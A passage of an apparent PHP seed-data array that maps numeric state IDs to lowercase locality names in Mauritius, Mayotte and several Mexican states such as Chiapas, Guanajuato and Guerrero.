['state_id' => '2418', 'name' => 'congomah'],\n ['state_id' => '2418', 'name' => 'creve coeur'],\n ['state_id' => '2418', 'name' => 'd\\'epinay'],\n ['state_id' => '2418', 'name' => 'fond du sac'],\n ['state_id' => '2418', 'name' => 'la tour koenig'],\n ['state_id' => '2418', 'name' => 'le hochet'],\n ['state_id' => '2418', 'name' => 'long mountain'],\n ['state_id' => '2418', 'name' => 'morcellement saint andre'],\n ['state_id' => '2418', 'name' => 'notre dame'],\n ['state_id' => '2418', 'name' => 'pamplemousse'],\n ['state_id' => '2418', 'name' => 'plaines des papayes'],\n ['state_id' => '2418', 'name' => 'pointe aux piments'],\n ['state_id' => '2418', 'name' => 'terre rouge'],\n ['state_id' => '2418', 'name' => 'triolet'],\n ['state_id' => '2418', 'name' => 'villebague'],\n ['state_id' => '2422', 'name' => 'baie malgache'],\n ['state_id' => '2422', 'name' => 'coromandel-graviers'],\n ['state_id' => '2422', 'name' => 'grand baie-montagne goyaves'],\n ['state_id' => '2422', 'name' => 'la ferme'],\n ['state_id' => '2422', 'name' => 'lataniers-mont lubin'],\n ['state_id' => '2422', 'name' => 'mangues-quatre vents'],\n ['state_id' => '2422', 'name' => 'oyster bay'],\n ['state_id' => '2422', 'name' => 'petit gabriel'],\n ['state_id' => '2422', 'name' => 'piments-baie topaze'],\n ['state_id' => '2422', 'name' => 'plaine corail-la fouche corail'],\n ['state_id' => '2422', 'name' => 'port mathurin'],\n ['state_id' => '2422', 'name' => 'port sud-est'],\n ['state_id' => '2422', 'name' => 'riviere cocos'],\n ['state_id' => '2422', 'name' => 'roche bon dieu-trefles'],\n ['state_id' => '2424', 'name' => 'baie du cap'],\n ['state_id' => '2424', 'name' => 'bel ombre'],\n ['state_id' => '2424', 'name' => 'benares'],\n ['state_id' => '2424', 'name' => 'bois cheri'],\n ['state_id' => '2424', 'name' => 'britannia'],\n ['state_id' => '2424', 'name' => 'camp diable'],\n ['state_id' => '2424', 'name' => 'chamouny'],\n ['state_id' => '2424', 'name' => 'chemin grenier'],\n ['state_id' => '2424', 'name' => 'grand bois'],\n ['state_id' => '2424', 'name' => 'riviere des anguilles'],\n ['state_id' => '2424', 'name' => 'saint aubin'],\n ['state_id' => '2424', 'name' => 'souillac'],\n ['state_id' => '2424', 'name' => 'surinam'],\n ['state_id' => '2425', 'name' => 'acoua'],\n ['state_id' => '2425', 'name' => 'bandraboua'],\n ['state_id' => '2425', 'name' => 'bandrele'],\n ['state_id' => '2425', 'name' => 'boueni'],\n ['state_id' => '2425', 'name' => 'chiconi'],\n ['state_id' => '2425', 'name' => 'chirongui'],\n ['state_id' => '2425', 'name' => 'dembeni'],\n ['state_id' => '2425', 'name' => 'kanikeli'],\n ['state_id' => '2425', 'name' => 'koungou'],\n ['state_id' => '2425', 'name' => 'mamoudzou'],\n ['state_id' => '2425', 'name' => 'mtsamboro'],\n ['state_id' => '2425', 'name' => 'mtsangamouji'],\n ['state_id' => '2425', 'name' => 'ouangani'],\n ['state_id' => '2425', 'name' => 'sada'],\n ['state_id' => '2425', 'name' => 'tsingoni'],\n ['state_id' => '2426', 'name' => 'dzaoudzi'],\n ['state_id' => '2426', 'name' => 'pamanzi'],\n ['state_id' => '2427', 'name' => 'aguascalientes'],\n ['state_id' => '2427', 'name' => 'asientos'],\n ['state_id' => '2427', 'name' => 'calvillo'],\n ['state_id' => '2427', 'name' => 'cosio'],\n ['state_id' => '2427', 'name' => 'margaritas'],\n ['state_id' => '2427', 'name' => 'ojocaliente'],\n ['state_id' => '2427', 'name' => 'pabellon de arteaga'],\n ['state_id' => '2427', 'name' => 'pabellon de hidalgo'],\n ['state_id' => '2427', 'name' => 'palo alto'],\n ['state_id' => '2427', 'name' => 'rincon de romos'],\n ['state_id' => '2427', 'name' => 'san francisco de los romo'],\n ['state_id' => '2427', 'name' => 'san jose de gracia'],\n ['state_id' => '2427', 'name' => 'tepezala'],\n ['state_id' => '2427', 'name' => 'villa juarez'],\n ['state_id' => '2430', 'name' => 'becal'],\n ['state_id' => '2430', 'name' => 'bolonchen'],\n ['state_id' => '2430', 'name' => 'calkini'],\n ['state_id' => '2430', 'name' => 'campeche'],\n ['state_id' => '2430', 'name' => 'candelaria'],\n ['state_id' => '2430', 'name' => 'carmen'],\n ['state_id' => '2430', 'name' => 'champoton'],\n ['state_id' => '2430', 'name' => 'china'],\n ['state_id' => '2430', 'name' => 'dzitbalche'],\n ['state_id' => '2430', 'name' => 'escarcega'],\n ['state_id' => '2430', 'name' => 'hecelchakan'],\n ['state_id' => '2430', 'name' => 'hopelchen'],\n ['state_id' => '2430', 'name' => 'isla aguada'],\n ['state_id' => '2430', 'name' => 'nuevo progreso'],\n ['state_id' => '2430', 'name' => 'nunkini'],\n ['state_id' => '2430', 'name' => 'palizada'],\n ['state_id' => '2430', 'name' => 'pomuch'],\n ['state_id' => '2430', 'name' => 'sabancuy'],\n ['state_id' => '2430', 'name' => 'seybaplaya'],\n ['state_id' => '2430', 'name' => 'tenabo'],\n ['state_id' => '2431', 'name' => 'acacoyagua'],\n ['state_id' => '2431', 'name' => 'acala'],\n ['state_id' => '2431', 'name' => 'acapetahua'],\n ['state_id' => '2431', 'name' => 'altamirano'],\n ['state_id' => '2431', 'name' => 'alvaro obregon'],\n ['state_id' => '2431', 'name' => 'amatan'],\n ['state_id' => '2431', 'name' => 'amatenango del valle'],\n ['state_id' => '2431', 'name' => 'arriaga'],\n ['state_id' => '2431', 'name' => 'benemerito de las americas'],\n ['state_id' => '2431', 'name' => 'berriozabal'],\n ['state_id' => '2431', 'name' => 'bochil'],\n ['state_id' => '2431', 'name' => 'cacahoatan'],\n ['state_id' => '2431', 'name' => 'cancuc'],\n ['state_id' => '2431', 'name' => 'catazaja'],\n ['state_id' => '2431', 'name' => 'chalchihiutan'],\n ['state_id' => '2431', 'name' => 'chanal'],\n ['state_id' => '2431', 'name' => 'chiapa'],\n ['state_id' => '2431', 'name' => 'chiapilla'],\n ['state_id' => '2431', 'name' => 'chicomuselo'],\n ['state_id' => '2431', 'name' => 'chilon'],\n ['state_id' => '2431', 'name' => 'cintalapa'],\n ['state_id' => '2431', 'name' => 'comaltitlan'],\n ['state_id' => '2431', 'name' => 'comitan'],\n ['state_id' => '2431', 'name' => 'copainala'],\n ['state_id' => '2431', 'name' => 'copoya'],\n ['state_id' => '2431', 'name' => 'cristobal obregon'],\n ['state_id' => '2431', 'name' => 'el bosque'],\n ['state_id' => '2431', 'name' => 'el parral'],\n ['state_id' => '2431', 'name' => 'escuintla'],\n ['state_id' => '2431', 'name' => 'frontera comalapa'],\n ['state_id' => '2431', 'name' => 'frontera corozal'],\n ['state_id' => '2431', 'name' => 'frontera hidalgo'],\n ['state_id' => '2431', 'name' => 'huehuetan'],\n ['state_id' => '2431', 'name' => 'huehuetan estacion'],\n ['state_id' => '2431', 'name' => 'huixtla'],\n ['state_id' => '2431', 'name' => 'ixhuatan'],\n ['state_id' => '2431', 'name' => 'ixtacomitan'],\n ['state_id' => '2431', 'name' => 'ixtapa'],\n ['state_id' => '2431', 'name' => 'jaltenango'],\n ['state_id' => '2431', 'name' => 'jesus maria garza'],\n ['state_id' => '2431', 'name' => 'jiquipilas'],\n ['state_id' => '2431', 'name' => 'jitotol'],\n ['state_id' => '2431', 'name' => 'juarez'],\n ['state_id' => '2431', 'name' => 'la concordia'],\n ['state_id' => '2431', 'name' => 'la libertad'],\n ['state_id' => '2431', 'name' => 'la trinitaria'],\n ['state_id' => '2431', 'name' => 'las margaritas'],\n ['state_id' => '2431', 'name' => 'las rosas'],\n ['state_id' => '2431', 'name' => 'mapastepec'],\n ['state_id' => '2431', 'name' => 'mazatan'],\n ['state_id' => '2431', 'name' => 'motozintla'],\n ['state_id' => '2431', 'name' => 'navenchauc'],\n ['state_id' => '2431', 'name' => 'nicolas ruiz'],\n ['state_id' => '2431', 'name' => 'ocosingo'],\n ['state_id' => '2431', 'name' => 'ocotepec'],\n ['state_id' => '2431', 'name' => 'ocozocoautla'],\n ['state_id' => '2431', 'name' => 'ostuacan'],\n ['state_id' => '2431', 'name' => 'oxchuc'],\n ['state_id' => '2431', 'name' => 'palenque'],\n ['state_id' => '2431', 'name' => 'palestina'],\n ['state_id' => '2431', 'name' => 'pantelho'],\n ['state_id' => '2431', 'name' => 'paredon'],\n ['state_id' => '2431', 'name' => 'petalcingo'],\n ['state_id' => '2431', 'name' => 'pichucalco'],\n ['state_id' => '2431', 'name' => 'pijijiapan'],\n ['state_id' => '2431', 'name' => 'pueblo nuevo solistahuacan'],\n ['state_id' => '2431', 'name' => 'puerto madero'],\n ['state_id' => '2431', 'name' => 'pujiltic'],\n ['state_id' => '2431', 'name' => 'raudales malpaso'],\n ['state_id' => '2431', 'name' => 'rayon'],\n ['state_id' => '2431', 'name' => 'reforma'],\n ['state_id' => '2431', 'name' => 'revolucion mexicana'],\n ['state_id' => '2431', 'name' => 'rincon chamula'],\n ['state_id' => '2431', 'name' => 'salto de agua'],\n ['state_id' => '2431', 'name' => 'san cristobal de las casas'],\n ['state_id' => '2431', 'name' => 'san fernando'],\n ['state_id' => '2431', 'name' => 'san lucas'],\n ['state_id' => '2431', 'name' => 'san pedro buenavista'],\n ['state_id' => '2431', 'name' => 'simojovel'],\n ['state_id' => '2431', 'name' => 'socoltenango'],\n ['state_id' => '2431', 'name' => 'soyalo'],\n ['state_id' => '2431', 'name' => 'suchiapa'],\n ['state_id' => '2431', 'name' => 'suchiate'],\n ['state_id' => '2431', 'name' => 'tapachula'],\n ['state_id' => '2431', 'name' => 'tapilula'],\n ['state_id' => '2431', 'name' => 'tecpatan'],\n ['state_id' => '2431', 'name' => 'tenango'],\n ['state_id' => '2431', 'name' => 'teopisca'],\n ['state_id' => '2431', 'name' => 'tila'],\n ['state_id' => '2431', 'name' => 'tonala'],\n ['state_id' => '2431', 'name' => 'totolapa'],\n ['state_id' => '2431', 'name' => 'tres picos'],\n ['state_id' => '2431', 'name' => 'tuxtla chico'],\n ['state_id' => '2431', 'name' => 'tuxtla gutierrez'],\n ['state_id' => '2431', 'name' => 'tzimol'],\n ['state_id' => '2431', 'name' => 'veinte de noviembre'],\n ['state_id' => '2431', 'name' => 'venustiano carranza'],\n ['state_id' => '2431', 'name' => 'villa corzo'],\n ['state_id' => '2431', 'name' => 'villaflores'],\n ['state_id' => '2431', 'name' => 'yajalon'],\n ['state_id' => '2431', 'name' => 'zinacantan'],\n ['state_id' => '2432', 'name' => 'adolfo lopez mateos'],\n ['state_id' => '2432', 'name' => 'ahumada'],\n ['state_id' => '2432', 'name' => 'anahuac'],\n ['state_id' => '2432', 'name' => 'ascension'],\n ['state_id' => '2432', 'name' => 'benito juarez'],\n ['state_id' => '2432', 'name' => 'camargo'],\n ['state_id' => '2432', 'name' => 'carichi'],\n ['state_id' => '2432', 'name' => 'casas grandes'],\n ['state_id' => '2432', 'name' => 'chihuahua'],\n ['state_id' => '2432', 'name' => 'colonia municipio libre'],\n ['state_id' => '2432', 'name' => 'creel'],\n ['state_id' => '2432', 'name' => 'cuauhtemoc'],\n ['state_id' => '2432', 'name' => 'delicias'],\n ['state_id' => '2432', 'name' => 'el largo'],\n ['state_id' => '2432', 'name' => 'guachochi'],\n ['state_id' => '2432', 'name' => 'guadalupe'],\n ['state_id' => '2432', 'name' => 'guadalupe y calvo'],\n ['state_id' => '2432', 'name' => 'hermenegildo galeana'],\n ['state_id' => '2432', 'name' => 'hidalgo'],\n ['state_id' => '2432', 'name' => 'ignacio zaragoza'],\n ['state_id' => '2432', 'name' => 'jimenez'],\n ['state_id' => '2432', 'name' => 'juan aldama'],\n ['state_id' => '2432', 'name' => 'juarez'],\n ['state_id' => '2432', 'name' => 'lazaro cardenas'],\n ['state_id' => '2432', 'name' => 'madera'],\n ['state_id' => '2432', 'name' => 'majimachi'],\n ['state_id' => '2432', 'name' => 'meoqui'],\n ['state_id' => '2432', 'name' => 'naica'],\n ['state_id' => '2432', 'name' => 'nuevo casas grandes'],\n ['state_id' => '2432', 'name' => 'octaviano lopez'],\n ['state_id' => '2432', 'name' => 'ojinaga'],\n ['state_id' => '2432', 'name' => 'praxedis guerrero'],\n ['state_id' => '2432', 'name' => 'puerto palomas'],\n ['state_id' => '2432', 'name' => 'puerto de anapra'],\n ['state_id' => '2432', 'name' => 'san buenaventura'],\n ['state_id' => '2432', 'name' => 'san francisco el oro'],\n ['state_id' => '2432', 'name' => 'santa barbara'],\n ['state_id' => '2432', 'name' => 'santa cruz de rosales'],\n ['state_id' => '2432', 'name' => 'saucillo'],\n ['state_id' => '2432', 'name' => 'valentin gomez farias'],\n ['state_id' => '2432', 'name' => 'valle de allende'],\n ['state_id' => '2432', 'name' => 'vicente guerrero'],\n ['state_id' => '2433', 'name' => 'acuna'],\n ['state_id' => '2433', 'name' => 'allende'],\n ['state_id' => '2433', 'name' => 'arteaga'],\n ['state_id' => '2433', 'name' => 'castanos'],\n ['state_id' => '2433', 'name' => 'concordia'],\n ['state_id' => '2433', 'name' => 'cuatrocienagas'],\n ['state_id' => '2433', 'name' => 'el coyote'],\n ['state_id' => '2433', 'name' => 'frontera'],\n ['state_id' => '2433', 'name' => 'general cepeda'],\n ['state_id' => '2433', 'name' => 'hercules'],\n ['state_id' => '2433', 'name' => 'matamoros'],\n ['state_id' => '2433', 'name' => 'minas de barroteran'],\n ['state_id' => '2433', 'name' => 'monclova'],\n ['state_id' => '2433', 'name' => 'muzquiz'],\n ['state_id' => '2433', 'name' => 'nadadores'],\n ['state_id' => '2433', 'name' => 'nava'],\n ['state_id' => '2433', 'name' => 'nueva rosita'],\n ['state_id' => '2433', 'name' => 'ocampo'],\n ['state_id' => '2433', 'name' => 'palau'],\n ['state_id' => '2433', 'name' => 'parras'],\n ['state_id' => '2433', 'name' => 'piedras negras'],\n ['state_id' => '2433', 'name' => 'ramos arizpe'],\n ['state_id' => '2433', 'name' => 'sabinas'],\n ['state_id' => '2433', 'name' => 'saltillo'],\n ['state_id' => '2433', 'name' => 'san buenaventura'],\n ['state_id' => '2433', 'name' => 'san pedro'],\n ['state_id' => '2433', 'name' => 'torreon'],\n ['state_id' => '2433', 'name' => 'venustiano carranza'],\n ['state_id' => '2433', 'name' => 'viesca'],\n ['state_id' => '2433', 'name' => 'villa madero'],\n ['state_id' => '2433', 'name' => 'villa union'],\n ['state_id' => '2433', 'name' => 'zaragoza'],\n ['state_id' => '2434', 'name' => 'armeria'],\n ['state_id' => '2434', 'name' => 'cofradia'],\n ['state_id' => '2434', 'name' => 'colima'],\n ['state_id' => '2434', 'name' => 'colonia bayardo'],\n ['state_id' => '2434', 'name' => 'comala'],\n ['state_id' => '2434', 'name' => 'coquimatlan'],\n ['state_id' => '2434', 'name' => 'cuauhtemoc'],\n ['state_id' => '2434', 'name' => 'el colomo'],\n ['state_id' => '2434', 'name' => 'madrid'],\n ['state_id' => '2434', 'name' => 'manzanillo'],\n ['state_id' => '2434', 'name' => 'minatitlan'],\n ['state_id' => '2434', 'name' => 'queseria'],\n ['state_id' => '2434', 'name' => 'suchitlan'],\n ['state_id' => '2434', 'name' => 'tecoman'],\n ['state_id' => '2434', 'name' => 'villa de alvarez'],\n ['state_id' => '2436', 'name' => 'bermejillo'],\n ['state_id' => '2436', 'name' => 'canatlan'],\n ['state_id' => '2436', 'name' => 'cuencame'],\n ['state_id' => '2436', 'name' => 'durango'],\n ['state_id' => '2436', 'name' => 'gomez palacio'],\n ['state_id' => '2436', 'name' => 'guadalupe victoria'],\n ['state_id' => '2436', 'name' => 'juarez'],\n ['state_id' => '2436', 'name' => 'lerdo'],\n ['state_id' => '2436', 'name' => 'mapimi'],\n ['state_id' => '2436', 'name' => 'nazareno'],\n ['state_id' => '2436', 'name' => 'nazas'],\n ['state_id' => '2436', 'name' => 'nombre de dios'],\n ['state_id' => '2436', 'name' => 'nuevo ideal'],\n ['state_id' => '2436', 'name' => 'ocampo'],\n ['state_id' => '2436', 'name' => 'panuco'],\n ['state_id' => '2436', 'name' => 'papasquiaro'],\n ['state_id' => '2436', 'name' => 'penon blanco'],\n ['state_id' => '2436', 'name' => 'poanas'],\n ['state_id' => '2436', 'name' => 'pueblo nuevo'],\n ['state_id' => '2436', 'name' => 'rodeo'],\n ['state_id' => '2436', 'name' => 'santa catarina de tepehuanes'],\n ['state_id' => '2436', 'name' => 'santa clara'],\n ['state_id' => '2436', 'name' => 'santa maria del oro'],\n ['state_id' => '2436', 'name' => 'suchil'],\n ['state_id' => '2436', 'name' => 'tayoltita'],\n ['state_id' => '2436', 'name' => 'tlahualilo'],\n ['state_id' => '2436', 'name' => 'vicente guerrero'],\n ['state_id' => '2438', 'name' => 'abasolo'],\n ['state_id' => '2438', 'name' => 'acambaro'],\n ['state_id' => '2438', 'name' => 'aldama'],\n ['state_id' => '2438', 'name' => 'allende'],\n ['state_id' => '2438', 'name' => 'antonio rodriguez'],\n ['state_id' => '2438', 'name' => 'apaseo el alto'],\n ['state_id' => '2438', 'name' => 'apaseo el grande'],\n ['state_id' => '2438', 'name' => 'celaya'],\n ['state_id' => '2438', 'name' => 'centro familiar la soledad'],\n ['state_id' => '2438', 'name' => 'cerano'],\n ['state_id' => '2438', 'name' => 'cerro gordo'],\n ['state_id' => '2438', 'name' => 'colonias nuevo mexico'],\n ['state_id' => '2438', 'name' => 'comonfort'],\n ['state_id' => '2438', 'name' => 'coroneo'],\n ['state_id' => '2438', 'name' => 'cortazar'],\n ['state_id' => '2438', 'name' => 'cueramaro'],\n ['state_id' => '2438', 'name' => 'doctor mora'],\n ['state_id' => '2438', 'name' => 'dolores hidalgo'],\n ['state_id' => '2438', 'name' => 'duarte'],\n ['state_id' => '2438', 'name' => 'el sabino'],\n ['state_id' => '2438', 'name' => 'escobedo'],\n ['state_id' => '2438', 'name' => 'guanajuato'],\n ['state_id' => '2438', 'name' => 'huanimaro'],\n ['state_id' => '2438', 'name' => 'iramuco'],\n ['state_id' => '2438', 'name' => 'irapuato'],\n ['state_id' => '2438', 'name' => 'jaral del progreso'],\n ['state_id' => '2438', 'name' => 'jerecuaro'],\n ['state_id' => '2438', 'name' => 'juventino rosas'],\n ['state_id' => '2438', 'name' => 'la aldea'],\n ['state_id' => '2438', 'name' => 'la calera'],\n ['state_id' => '2438', 'name' => 'la ermita'],\n ['state_id' => '2438', 'name' => 'la moncada'],\n ['state_id' => '2438', 'name' => 'leon'],\n ['state_id' => '2438', 'name' => 'loma pelada'],\n ['state_id' => '2438', 'name' => 'manuel doblado'],\n ['state_id' => '2438', 'name' => 'maravatio'],\n ['state_id' => '2438', 'name' => 'marfil'],\n ['state_id' => '2438', 'name' => 'medina'],\n ['state_id' => '2438', 'name' => 'mexicanos'],\n ['state_id' => '2438', 'name' => 'moroleon'],\n ['state_id' => '2438', 'name' => 'ocampo'],\n ['state_id' => '2438', 'name' => 'octopan'],\n ['state_id' => '2438', 'name' => 'pacueco'],\n ['state_id' => '2438', 'name' => 'palo verde'],\n ['state_id' => '2438', 'name' => 'paracuaro'],\n ['state_id' => '2438', 'name' => 'penjamo'],\n ['state_id' => '2438', 'name' => 'plan de ayala'],\n ['state_id' => '2438', 'name' => 'pueblo nuevo'],\n ['state_id' => '2438', 'name' => 'purisima de bustos'],\n ['state_id' => '2438', 'name' => 'rincon de tamayo'],\n ['state_id' => '2438', 'name' => 'romita'],\n ['state_id' => '2438', 'name' => 'salamanca'],\n ['state_id' => '2438', 'name' => 'salvatierra'],\n ['state_id' => '2438', 'name' => 'san bartolo de berrios'],\n ['state_id' => '2438', 'name' => 'san cristobal'],\n ['state_id' => '2438', 'name' => 'san diego de la union'],\n ['state_id' => '2438', 'name' => 'san felipe'],\n ['state_id' => '2438', 'name' => 'san francisco del rincon'],\n ['state_id' => '2438', 'name' => 'san jose agua azul'],\n ['state_id' => '2438', 'name' => 'san jose iturbide'],\n ['state_id' => '2438', 'name' => 'san jose temascatio'],\n ['state_id' => '2438', 'name' => 'san juan de la vega'],\n ['state_id' => '2438', 'name' => 'san luis de la paz'],\n ['state_id' => '2438', 'name' => 'san nicolas de los agustinos'],\n ['state_id' => '2438', 'name' => 'san pedro de los naranjos'],\n ['state_id' => '2438', 'name' => 'san roque'],\n ['state_id' => '2438', 'name' => 'santa teresa'],\n ['state_id' => '2438', 'name' => 'santiago de cuenda'],\n ['state_id' => '2438', 'name' => 'sarabia'],\n ['state_id' => '2438', 'name' => 'silao'],\n ['state_id' => '2438', 'name' => 'tarandacuao'],\n ['state_id' => '2438', 'name' => 'tarimoro'],\n ['state_id' => '2438', 'name' => 'teneria del santuario'],\n ['state_id' => '2438', 'name' => 'uriangato'],\n ['state_id' => '2438', 'name' => 'urireo'],\n ['state_id' => '2438', 'name' => 'valle de santiago'],\n ['state_id' => '2438', 'name' => 'valtierrilla'],\n ['state_id' => '2438', 'name' => 'victoria'],\n ['state_id' => '2438', 'name' => 'villagran'],\n ['state_id' => '2438', 'name' => 'villas de irapuato'],\n ['state_id' => '2438', 'name' => 'yerbabuena'],\n ['state_id' => '2438', 'name' => 'yuriria'],\n ['state_id' => '2439', 'name' => 'acamixtla'],\n ['state_id' => '2439', 'name' => 'acapulco'],\n ['state_id' => '2439', 'name' => 'acatlan'],\n ['state_id' => '2439', 'name' => 'ajuchitlan'],\n ['state_id' => '2439', 'name' => 'alpoyeca'],\n ['state_id' => '2439', 'name' => 'altamirano'],\n ['state_id' => '2439', 'name' => 'apango'],\n ['state_id' => '2439', 'name' => 'apaxtla'],\n ['state_id' => '2439', 'name' => 'arcelia'],\n ['state_id' => '2439', 'name' => 'atliaca'],\n ['state_id' => '2439', 'name' => 'atoyac'],\n ['state_id' => '2439', 'name' => 'ayutla'],\n ['state_id' => '2439', 'name' => 'azoyu'],\n ['state_id' => '2439', 'name' => 'bajos de ejido'],\n ['state_id' => '2439', 'name' => 'buenavista'],\n ['state_id' => '2439', 'name' => 'chichihualco'],\n ['state_id' => '2439', 'name' => 'chilapa'],\n ['state_id' => '2439', 'name' => 'chilpancingo'],\n ['state_id' => '2439', 'name' => 'coacoyul'],\n ['state_id' => '2439', 'name' => 'cocula'],\n ['state_id' => '2439', 'name' => 'copala'],\n ['state_id' => '2439', 'name' => 'copalillo'],\n ['state_id' => '2439', 'name' => 'coyuca'],\n ['state_id' => '2439', 'name' => 'cruz grande'],\n ['state_id' => '2439', 'name' => 'cuajinicuilapa'],\n ['state_id' => '2439', 'name' => 'cuautepec'],\n ['state_id' => '2439', 'name' => 'cutzamala'],\n ['state_id' => '2439', 'name' => 'el ocotito'],\n ['state_id' => '2439', 'name' => 'el paraiso'],\n ['state_id' => '2439', 'name' => 'el suchil'],\n ['state_id' => '2439', 'name' => 'huamuxtitlan'],\n ['state_id' => '2439', 'name' => 'huitziltepec'],\n ['state_id' => '2439', 'name' => 'huitzuco'],\n ['state_id' => '2439', 'name' => 'iguala'],\n ['state_id' => '2439', 'name' => 'ixtapa'],\n ['state_id' => '2439', 'name' => 'kilometro treinta'],\n ['state_id' => '2439', 'name' => 'la loma'],\n ['state_id' => '2439', 'name' => 'la union'],\n ['state_id' => '2439', 'name' => 'las petaquillas'],\n ['state_id' => '2439', 'name' => 'las vigas'],\n ['state_id' => '2439', 'name' => 'marquelia'],\n ['state_id' => '2439', 'name' => 'mazatlan'],\n ['state_id' => '2439', 'name' => 'mochitlan'],\n ['state_id' => '2439', 'name' => 'olinala'],\n ['state_id' => '2439', 'name' => 'ometepec'],\n ['state_id' => '2439', 'name' => 'petatlan'],\n ['state_id' => '2439', 'name' => 'pilcaya'],\n ['state_id' => '2439', 'name' => 'quechultenango'],\n ['state_id' => '2439', 'name' => 'san jeronimito'],\n ['state_id' => '2439', 'name' => 'san jeronimo'],\n ['state_id' => '2439', 'name' => 'san jose ixtapa'],\n ['state_id' => '2439', 'name' => 'san luis san pedro'],\n ['state_id' => '2439', 'name' => 'san marcos'],\n ['state_id' => '2439', 'name' => 'taxco'],\n ['state_id' => '2439', 'name' => 'taxco de alarcon'],\n ['state_id' => '2439', 'name' => 'tecoanapa'],\n ['state_id' => '2439', 'name' => 'tecpan'],\n ['state_id' => '2439', 'name' => 'teloloapan'],\n ['state_id' => '2439', 'name' => 'tepecoacuilco'],\n ['state_id' => '2439', 'name' => 'tierra colorada'],\n ['state_id' => '2439', 'name' => 'tixtla'],\n ['state_id' => '2439', 'name' => 'tlacoachistlahuaca'],\n ['state_id' => '2439', 'name' => 'tlacotepec'],\n ['state_id' => '2439', 'name' => 'tlalchapa'],\n ['state_id' => '2439', 'name' => 'tlamacazapa'],\n ['state_id' => '2439', 'name' => 'tlapa'],\n ['state_id' => '2439', 'name' => 'tlapehuala'],\n ['state_id' => '2439', 'name' => 'totolapan'],\n ['state_id' => '2439', 'name' => 'tres palos'],\n ['state_id' => '2439', 'name' => 'xalpatlahuac'],\n ['state_id' => '2439', 'name' => 'xaltianguis'],\n ['state_id' => '2439', 'name' => 'xochihuehuetlan'],\n ['state_id' => '2439', 'name' => 'xochistlahuaca'],\n ['state_id' => '2439', 'name' => 'zacualpan'],\n ['state_id' => '2439', 'name' => 'zihuatanejo'],\n ['state_id' => '2439', 'name' => 'zirandaro'],\n ['state_id' => '2439', 'name' => 'zitlala'],\n ['state_id' => '2439', 'name' => 'zumpango'],\n ['state_id' => '2440', 'name' => 'acaxochitlan'],\n ['state_id' => '2440', 'name' => 'acayuca'],\n ['state_id' => '2440', 'name' => 'actopan'],\n ['state_id' => '2440', 'name' => 'ajacuba'],\n ['state_id' => '2440', 'name' => 'almoloya'],\n ['state_id' => '2440', 'name' => 'apan'],\n ['state_id' => '2440', 'name' => 'atengo'],\n ['state_id' => '2440', 'name' => 'atitalaquia'],\n ['state_id' => '2440', 'name' => 'atotonilco de tula'],\n ['state_id' => '2440', 'name' => 'atotonilco el grande'],\n ['state_id' => '2440', 'name' => 'calnali'],\n ['state_id' => '2440', 'name' => 'cardonal'],\n ['state_id' => '2440', 'name' => 'chapulhuacan'],\n ['state_id' => '2440', 'name' => 'cuautepec'],\n ['state_id' => '2440', 'name' => 'doxey'],\n ['state_id' => '2440', 'name' => 'el arenal'],\n ['state_id' => '2440', 'name' => 'el llano'],\n ['state_id' => '2440', 'name' => 'el rosario'],\n ['state_id' => '2440', 'name' => 'emiliano zapata'],\n ['state_id' => '2440', 'name' => 'huautla'],\n ['state_id' => '2440', 'name' => 'huejutla'],\n ['state_id' => '2440', 'name' => 'hueytlalpan'],\n ['state_id' => '2440', 'name' => 'huichapan'],\n ['state_id' => '2440', 'name' => 'ixmiquilpan'],\n ['state_id' => '2440', 'name' => 'jacala'],\n ['state_id' => '2440', 'name' => 'jaltocan'],\n ['state_id' => '2440', 'name' => 'los reyes'],\n ['state_id' => '2440', 'name' => 'mineral del monte'],\n ['state_id' => '2440', 'name' => 'mixquiahuala'],\n ['state_id' => '2440', 'name' => 'molango'],\n ['state_id' => '2440', 'name' => 'orizatlan'],\n ['state_id' => '2440', 'name' => 'pachuca'],\n ['state_id' => '2440', 'name' => 'pachuquilla'],\n ['state_id' => '2440', 'name' => 'progreso'],\n ['state_id' => '2440', 'name' => 'sahagun'],\n ['state_id' => '2440', 'name' => 'san ildefonso'],\n ['state_id' => '2440', 'name' => 'san juan tepa'],\n ['state_id' => '2440', 'name' => 'san marcos'],\n ['state_id' => '2440', 'name' => 'singuilucan'],\n ['state_id' => '2440', 'name' => 'tasquillo'],\n ['state_id' => '2440', 'name' => 'tecozautla'],\n ['state_id' => '2440', 'name' => 'tepatepec'],\n ['state_id' => '2440', 'name' => 'tepeapulco'],\n ['state_id' => '2440', 'name' => 'tepeji'],\n ['state_id' => '2440', 'name' => 'tepepa'],\n ['state_id' => '2440', 'name' => 'tetepango'],\n ['state_id' => '2440', 'name' => 'tezontepec'],\n ['state_id' => '2440', 'name' => 'tizayuca'],\n ['state_id' => '2440', 'name' => 'tlahuelilpan'],\n ['state_id' => '2440', 'name' => 'tlanalapa'],\n ['state_id' => '2440', 'name' => 'tlanchinol'],\n ['state_id' => '2440', 'name' => 'tlaxcoapan'],\n ['state_id' => '2440', 'name' => 'tlaxiaca'],\n ['state_id' => '2440', 'name' => 'tolcayuca'],\n ['state_id' => '2440', 'name' => 'tula de allende'],\n ['state_id' => '2440', 'name' => 'tulancingo'],\n ['state_id' => '2440', 'name' => 'tulantepec'],\n ['state_id' => '2440', 'name' => 'vindho'],\n ['state_id' => '2440', 'name' => 'zacualtipan'],\n ['state_id' => '2440', 'name' => 'zapotlan'],\n ['state_id' => '2440', 'name' => 'zempoala'],\n ['state_id' => '2440', 'name' => 'zimapan'],\n ['state_id' => '2441', 'name' => 'acatic'],\n ['state_id' => '2441', 'name' => 'acatlan'],\n ['state_id' => '2441', 'name' => 'ahualulco'],\n ['state_id' => '2441', 'name' => 'ajijic'],\n ['state_id' => '2441', 'name' => 'alejandria'],\n ['state_id' => '2441', 'name' => 'amatitan'],\n ['state_id' => '2441', 'name' => 'ameca'],\n ['state_id' => '2441', 'name' => 'antonio escobedo'],\n ['state_id' => '2441', 'name' => 'arandas'],\n ['state_id' => '2441', 'name' => 'atemajac'],\n ['state_id' => '2441', 'name' => 'atequiza'],\n ['state_id' => '2441', 'name' => 'atotonilco el alto'],\n ['state_id' => '2441', 'name' => 'atotonilquillo'],\n ['state_id' => '2441', 'name' => 'atoyac'],\n ['state_id' => '2441', 'name' => 'autlan'],\n ['state_id' => '2441', 'name' => 'ayotlan'],\n ['state_id' => '2441', 'name' => 'ayutla'],\n ['state_id' => '2441', 'name' => 'bellavista'],\n ['state_id' => '2441', 'name' => 'cajititlan'],\n ['state_id' => '2441', 'name' => 'capilla de guadalupe'],\n ['state_id' => '2441', 'name' => 'casimiro castillo'],\n ['state_id' => '2441', 'name' => 'centro de readaptacion social'],\n ['state_id' => '2441', 